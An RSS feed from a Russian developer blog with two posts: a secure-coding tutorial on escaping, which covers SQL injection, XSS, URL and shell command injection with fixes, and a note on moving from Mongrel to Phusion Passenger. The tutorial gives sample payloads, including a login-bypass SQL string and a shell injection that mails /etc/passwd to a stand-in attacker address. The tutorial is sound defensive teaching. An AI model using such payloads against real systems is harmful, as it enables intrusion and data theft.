<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Блог Андрея Смирнова &#187; Ruby on Rails</title>
	<atom:link href="http://www.smira.ru/category/development/ruby-on-rails/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.smira.ru</link>
	<description></description>
	<lastBuildDate>Wed, 24 Aug 2011 05:09:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Не забудь сделать escape!</title>
		<link>http://www.smira.ru/2010/10/31/dont-forget-about-escaping/</link>
		<comments>http://www.smira.ru/2010/10/31/dont-forget-about-escaping/#comments</comments>
		<pubDate>Sun, 31 Oct 2010 19:41:24 +0000</pubDate>
		<dc:creator>Андрей</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Ruby on Rails]]></category>
		<category><![CDATA[Преподавание]]></category>
		<category><![CDATA[Разработка]]></category>
		<category><![CDATA[encode]]></category>
		<category><![CDATA[escape]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.smira.ru/?p=546</guid>
		<description><![CDATA[Когда я только начинал программировать в web, правильно сделать escape данных было непростой задачей: никаких хороших библиотек не было или приходилось писать что-то свое, при этом на каждом шагу не забывая поставить нужный escape. Сегодня отличные библиотеки, такие как Ruby on Rails, позволяют &#171;расслабиться&#187; и забыть о том, что такое escaping (по крайней мере до [...]]]></description>
			<content:encoded><![CDATA[<p>Когда я только начинал программировать в web, правильно сделать escape данных было непростой задачей: никаких хороших библиотек не было или приходилось писать что-то свое, при этом на каждом шагу не забывая поставить нужный escape. Сегодня отличные библиотеки, такие как Ruby on Rails, позволяют &laquo;расслабиться&raquo; и забыть о том, что такое escaping (по крайней мере до какой-то степени). Не смотря на это, все еще необходимо понимать, что такое escaping, зачем он нужен, когда и какой.</p>

<p>Отсутствие правильного escaping (впрочем, как и избыточный и неуместный escaping) приводит к <strong>ошибкам</strong> и <strong>уязвимостям</strong> (проблемам безопасности) в web-приложениях. Обычно уязвимость состоит в том, что приложение получает данные из различных внешних источников (от пользователя, из других приложений), эти данные приложение вставляет строчку, которая впоследствие будет обработана третьей системой (базой данных, браузером, интерпретатором и т.п.) При этом при передаче особым образом подготовленных данных удается совершить действие, которое не должно было произойти.</p>

<h2>SQL</h2>

<p>Типичная уязвимость: <a href="http://en.wikipedia.org/wiki/SQL_Injection">SQL Injection</a>. </p>

<p>Пример кода (авторизация по логину и паролю):</p>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">runQuery<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT id FROM users WHERE login='<span style="color: #006699; font-weight: bold;">$login</span>' AND password='<span style="color: #006699; font-weight: bold;">$password</span>'&quot;</span><span style="color: #009900;">&#41;</span></pre></div></div>


<p>Если значения переменных <code>$login</code> и <code>$password</code> получены от пользователя (например, через форму авторизации), можно в поле <code>password</code> ввести значение вида: <code>' OR '' = '</code>, тогда после подстановки получится такой запрос:</p>


<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> id <span style="color: #993333; font-weight: bold;">FROM</span> users <span style="color: #993333; font-weight: bold;">WHERE</span> login<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'login'</span> <span style="color: #993333; font-weight: bold;">AND</span> password<span style="color: #66cc66;">=</span><span style="color: #ff0000;">''</span> <span style="color: #993333; font-weight: bold;">OR</span> <span style="color: #ff0000;">''</span> <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">''</span></pre></div></div>


<p>Условие <code>WHERE</code> всегда истинно, для любой строчки БД. В зависимости от вида запроса, способа авторизации такое поведение приведет к возможности авторизации, не зная пароля.</p>

<p>Проблема состоит в том, что при прямой подстановке значения переменной <code>$password</code> мы смогли изменить смысл исходного запроса.</p>

<p><span id="more-546"></span></p>

<p>Что делать (в порядке от плохого к хорошему):</p>

<ul>
<li>использовать функцию, которая осуществляет escaping, причем специфичный для конкретной БД (так как синтаксис SQL-запросов может отличаться от одной БД к другой (в конечном итоге не очень хороший способ, так как однажды забытая функция escape ведет к потенциальной уязвимости); например, для PHP/MySQL: <a href="http://ru.php.net/mysql_real_escape_string">mysql&#95;real&#95;escape&#95;string</a>.</li>
<li>использовать синтаксис SQL с параметрами (placeholderами), в этом случае значение не подставляется в строку SQL-запроса, а передается отдельно как значение соответствующего типа; пример для PHP/PDO: <a href="http://ru2.php.net/manual/en/pdostatement.bindvalue.php">PDOStatement->bindValue</a>.</li>
<li>использовать <a href="http://ru.wikipedia.org/wiki/ORM">ORM</a>, которая спрячет процесс построения запросов, например для Rails: <code>User.find_by_login_and_password(login, password)</code>.</li>
</ul>

<p><em>Примечание</em>: один из моих любимых вопросов на собеседовании &#8211; &laquo;SQL injection и как его избежать&raquo;. В 50% случаев я слышу про то, что надо фильтровать пользовательские данные. Это не может быть универсальным способом! Пользователь может совершенно разумно хотеть написать одинарную кавычку в том текстовом поле, значение которого будет передано вашему приложению. Валидация или фильтрация данных &#8211; дополнительная возможность, которая происходит на уровне модели вашего приложения, но escaping происходит на уровне, уже непосредственно взаимодействующем с БД.</p>

<h2>HTML</h2>

<p>Типичная уязвимость: <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a>, <a href="http://ha.ckers.org/xss.html">типичные exploitы</a>.</p>

<p>В разметке HTML есть некоторое количество символов, которые имеют особый смысл: <code>&amp;&lt;&gt;"'</code>. Проблема возникает, когда в текст (между элементами HTML) попадают данные, которые содержат мета-символы HTML, перечисленные выше. </p>

<p>Пример (PHP):</p>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;span class=&quot;author&quot;&gt;<span style="color: #000000; font-weight: bold;">&lt;?=</span> <span style="color: #000088;">$user</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nickname</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/span&gt;</pre></div></div>


<p>Если в качестве <code>$user-&gt;nickname</code> пользователь введет:</p>


<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;script&gt;alert(&quot;hi!&quot;)&lt;/script&gt;</pre></div></div>


<p>То все посетители сайта, которые посещают страницу, содержащую вышеприведенный код, получат окошко c &laquo;hi!&raquo;. </p>

<p>Должно быть так (<a href="http://ru.php.net/htmlspecialchars">htmlspecialchars</a> осуществляет замены вида <code>&gt;</code> -> <code>&amp;gt;</code> и т.д.)</p>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;span class=&quot;author&quot;&gt;<span style="color: #000000; font-weight: bold;">&lt;?=</span> <span style="color: #990000;">htmlspecialchars</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$user</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nickname</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/span&gt;</pre></div></div>


<p>Необходимо отметить, что решения из разряда &laquo;фильтрации&raquo;, описанные в примечании к SQL-escape, не всегда работают по тем же самым причинам. Типичный поток данных для данной уязвимости &#8211; пользователь (например, ввод в форме) -> БД -> вывод на страницу в HTML. При этом HTML escaping должен происходить при выводе данных, а не при записи в БД, т.к. данные в БД могут использоваться и для вывода в другие форматы (например, PDF).</p>

<p>Второй разновидностью данной проблемы является динамическая генерация HTML в контексте страницы, например, с помощью jQuery:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#nickname'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">update</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'&lt;span&gt;'</span> <span style="color: #339933;">+</span> data<span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'nickname'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&lt;/span&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>


<p>Должно быть так:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#nickname'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">update</span><span style="color: #009900;">&#40;</span>$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'&lt;span&gt;'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">text</span><span style="color: #009900;">&#40;</span>data<span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'nickname'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>


<p>Фукнция <code>text</code> в отличие от <code>update</code> изменяет только текстовые узлы DOM-дерева и не интерпретирует (добавляет &laquo;как есть&raquo;) любую HTML-разметку.</p>

<p>Как избежать подобных проблем:</p>

<ul>
<li>Шаблонизатор на серверной стороне должен по умолчанию делать HTML escaping при подстановке данных в шаблон, т.к. чаще всего нужно делать escape, а не наоборот. Не нужен escaping только при вставке готовых кусков HTML-кода (например, результата работы другого шаблона).</li>
<li>При построении DOM-дерева в JavaScript не используйте куски HTML кода, лучше стройте DOM-дерево из отдельных элементов (как показано выше). Можно воспользоваться JavaScript-шаблонизатором с теми же требованиями, что и для серверного решения.</li>
</ul>

<h2>JavaScript</h2>

<p>Типичная уязвимость: <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a>.</p>

<p>Не менее часто в сегодняшних сложных web-приложениях необходимо передать данные с серверной части в JavaScript-код через HTML страницу. Для этого чаще всего генерируется в шаблоне такой JavaScript-код:</p>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;script type=&quot;text/javascript&quot;&gt; 
  var user = '<span style="color: #000000; font-weight: bold;">&lt;?=</span><span style="color: #000088;">$username</span><span style="color: #000000; font-weight: bold;">?&gt;</span>';
&lt;/script&gt;</pre></div></div>


<p>Теперь представим, что будет, если я в качестве <code>$username</code> напишу <code>'+alert(document.cookies) + '</code>. Нехорошо получается? Ответ простой &#8211; сегодня все языки программирования поддерживают возможность преобразования данных в <a href="http://json.org/">JSON</a>. А это как раз тот вид escape, который нам нужен! Причем у нас появляется передавать в JavaScript сложные данные (массивы, объекты), а также свободно обрабатывать случаи null и т.п.:</p>


<div class="wp_syntax"><div class="code"><pre class="haml" style="font-family:monospace;">:javascript
  var user = #{@user.name.to_json};</pre></div></div>


<p>(Кавычки вокруг строки уже указывать не нужно).</p>

<p>Как избежать: преобразуйте данные в JSON перед вставкой в JavaScript-код.</p>

<h2>URL</h2>

<p><a href="http://ru.wikipedia.org/wiki/URL">URL</a> &#8211; это тоже далеко не такая простая вещь, как кажется на самом деле. В URL используется множество символов, которые имеют особый смысл: <code>?&amp;=/</code>. Чаще всего проблема возникает при построении URL динамически, а при этом в качестве части URL необходимо использовать переданные пользователем данные. Пусть, например, нам надо построить URL страницы поиска для ссылки с тега какого-то объекта:</p>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #0000ff;">&quot;http://example.com/search/?q=&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$tag</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span></pre></div></div>


<p>Если ограничений особенно жестких на имя тега нет, мы можем получить несколько другой URL, чем мы планировали. Например, добавить еще один параметр через <code>&amp;val=xxx</code> в имени тэга. В результате, пользователь, кликнувший по ссылке на такой тэг в списке тэгов может попасть совсем не на страницу тэга, а на другую страницу сайта (результат будет зависеть во многом от схемы формирования ссылок).</p>

<p>Как избежать: используйте <code>urlencode</code>-подобные функции при формировании компонентов URL, или, еще лучше: используйте &laquo;сборщики ссылок&raquo;, которые отдельно принимают схему протокола, имя хоста, URI, GET-параметры и т.п. Пример &#8211; <a href="http://apidock.com/rails/ActionView/Helpers/UrlHelper/link_to">link_to</a> в Rails.</p>

<h2>Shell</h2>

<p>Типичная уязвимость: получение shell-доступа к удаленному серверу.</p>

<p>При выполнении команд в ответ на запрос с использованием параметров, переданных клиентом (это могут быть как строки, так и, например, имена файлов), можно использовать различные способы запуска команд. Одним из таких способов является команда <code>system</code> или ее различные варианты:</p>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$image</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'image'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/usr/bin/process_image '<span style="color: #006699; font-weight: bold;">$image</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>


<p>В данный код в качестве значения переменной <code>$image</code> можно передать, например, следующее: </p>

<pre>
'; (cat /etc/passwd | mail cool@hacker.org); echo '
</pre>

<p>В чем здесь проблема?</p>

<ol>
<li>Функция <code>system</code> и ей подобные запускают командный интерпретатор (например,  bash), возможности которого гораздо больше, чем требуется нам.</li>
<li>Мы не выполняем корректный escaping параметров, чтобы <code>$image</code> оказался в точности одним параметром командной строки. </li>
</ol>

<p>Как избежать:</p>

<ol>
<li>Использовать функции, которые запускают внешний процесс, не прибегая к помощи shell: они обычно принимают отдельно полный путь к исполняемому файлу и массив аргументов. Проблема отпадает сама собой.</li>
<li>Использовать функцию <code>escapeshellarg</code> и ей подобные, которая гарантирует, что внутри параметра все специальные символы будут экранированы:</li>
</ol>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$image</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'image'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/usr/bin/process_image &quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">escapeshellarg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$image</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.smira.ru/2010/10/31/dont-forget-about-escaping/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Mongrel vs. Phusion Passenger: выбор очевиден</title>
		<link>http://www.smira.ru/2009/10/05/mongrel-vs-phusion-passenger-obvious-choice/</link>
		<comments>http://www.smira.ru/2009/10/05/mongrel-vs-phusion-passenger-obvious-choice/#comments</comments>
		<pubDate>Mon, 05 Oct 2009 19:41:00 +0000</pubDate>
		<dc:creator>Андрей</dc:creator>
				<category><![CDATA[Qik]]></category>
		<category><![CDATA[Ruby on Rails]]></category>
		<category><![CDATA[mongrel]]></category>
		<category><![CDATA[passenger]]></category>
		<category><![CDATA[phusion]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[ruby]]></category>

		<guid isPermaLink="false">http://www.smira.ru/?p=507</guid>
		<description><![CDATA[Предыдущая конфигурация: nginx (главный proxy), который раздает трафик в haproxy (ради возможности балансировать по нагрузке), который распределяет нагрузку по нескольким webapp-серверам с 16-ю mongrelами на каждом Проблемы: &#171;Утекающая&#187; память, периодический out of memory на серверах, лечится только перезапуском mongrelов. Запросы, занимающие десятки секунд из-за неверной балансировки (в нагруженный mongrel все-таки попадает несколько &#171;тяжелых&#187; запросов). Сложность [...]]]></description>
			<content:encoded><![CDATA[<p>Предыдущая конфигурация:</p>

<ul>
<li><a href="http://sysoev.ru/nginx/">nginx</a> (главный proxy), который раздает трафик в</li>
<li><a href="http://haproxy.1wt.eu/">haproxy</a> (ради возможности балансировать по нагрузке), который распределяет нагрузку по нескольким webapp-серверам</li>
<li>с 16-ю <a href="http://mongrel.rubyforge.org/">mongrelами</a> на каждом</li>
</ul>

<p>Проблемы:</p>

<ol>
<li>&laquo;Утекающая&raquo; память, периодический out of memory на серверах, лечится только перезапуском <a href="http://mongrel.rubyforge.org/">mongrelов</a>.</li>
<li>Запросы, занимающие десятки секунд из-за неверной балансировки (в нагруженный <a href="http://mongrel.rubyforge.org/">mongrel</a> все-таки попадает несколько &laquo;тяжелых&raquo; запросов).</li>
<li>Сложность управления кластером монгрелов &#8211; постоянные проблемы при перезапуске, &laquo;не стартующие&raquo; <a href="http://mongrel.rubyforge.org/">mongrelы</a> и т.п.</li>
</ol>

<p>Новая конфигурация:</p>

<ul>
<li><a href="http://sysoev.ru/nginx/">nginx</a> (proxy) остался</li>
<li><a href="http://www.modrails.com/">Phusion Passenger</a> + <a href="http://www.rubyenterpriseedition.com/">Ruby Enterprise Edition</a> на каждой машине.</li>
</ul>

<p>Результат:</p>

<p><img src="http://www.smira.ru/wp-content/uploads/2009/10/webapp01-passenger-mongrel.png" alt="webapp01-passenger-mongrel" title="webapp01-passenger-mongrel" width="603" height="250" class="aligncenter size-full wp-image-508" /></p>

<p>Комментарий: переход на <a href="http://www.modrails.com/">Phusion Passenger</a> на Week 39, объем занятой памяти &#8211; это белая область на графике, растущая сверху вниз. До перехода на Passenger объем свободной памяти стремительно уменьшался, иногда доходя до нуля, после перехода остается более-менее стабильным. Использование CPU осталось на прежнем уровне (как и ожидалось).</p>

<p>После перехода исчезли запросы, которые по непонятным причинам занимали десятки секунд &#8211; время выполнения коррелирует со сложностью запроса.</p>

<p>Так что если вы еще не переключились, мы идем к вам <img src='http://www.smira.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

<p>P.S. Отдельное спасибо <a href="http://github.com/glebpom">glebpom</a> за подсказку.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.smira.ru/2009/10/05/mongrel-vs-phusion-passenger-obvious-choice/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

